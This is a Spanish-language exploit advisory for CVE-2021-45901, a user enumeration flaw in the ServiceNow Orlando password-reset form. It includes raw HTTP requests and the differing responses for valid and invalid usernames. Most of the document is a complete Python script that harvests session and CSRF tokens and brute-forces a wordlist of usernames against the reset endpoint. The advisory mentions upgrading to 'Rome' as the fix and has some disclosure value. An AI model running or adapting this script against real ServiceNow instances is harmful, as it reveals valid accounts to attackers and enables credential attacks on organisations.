
Exploit automatizado de enumeración de nombres de usuario para ServiceNow (CVE-2021-45901) usando detección de discrepancia en respuestas HTTP a través del formulario de restablecimiento de contraseña.

enumSNOWUsers.py - Enumerador de Usuarios SNOW
Vulnerabilidad de Enumeración de Usuarios encontrada en la Aplicación ServiceNow
Publicado: Versión: 1.0
Vendor: ServiceNow
Producto: ServiceNow (https://www.servicenow.com/)
Versión afectada: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow es una empresa estadounidense de software con sede en Santa Clara, California, que desarrolla una plataforma de computación en la nube para ayudar a las empresas a gestionar flujos de trabajo digitales para operaciones empresariales.
Enumeración de Usuarios (No autenticado)
CVE: CVE-2021-45901
CWE: CWE-200: Exposición de Información Sensible a un Actor No Autorizado
La vulnerabilidad descubierta en ServiceNow (Orlando) permite la enumeración exitosa de nombres de usuario, utilizando una lista de palabras. Usando una sesión no autenticada y navegando al formulario de restablecimiento de contraseña, es posible inferir un nombre de usuario válido. Esto se logra mediante el examen de los datos de respuesta HTTP POST iniciados inicialmente por el formulario web de restablecimiento de contraseña. Esta respuesta difiere dependiendo de la existencia del nombre de usuario.
NOTA: Para automatizar este proceso se requieren una Cookie de Sesión válida (JSESSIONID), un Token CSRF (pwd_csrf_token) y un X-UserToken (X-UserToken). Todos estos objetos se pueden recuperar desde el código del lado del cliente.
CWE-203: Discrepancia Observable
Lo siguiente ilustra las discrepancias observables en los Datos de Respuesta HTTP POST, utilizados para inferir un nombre de usuario válido vs no válido.
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Nombre de usuario válido)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Nombre de usuario no válido)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Actualizar a "Rome"
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna de Exploit Security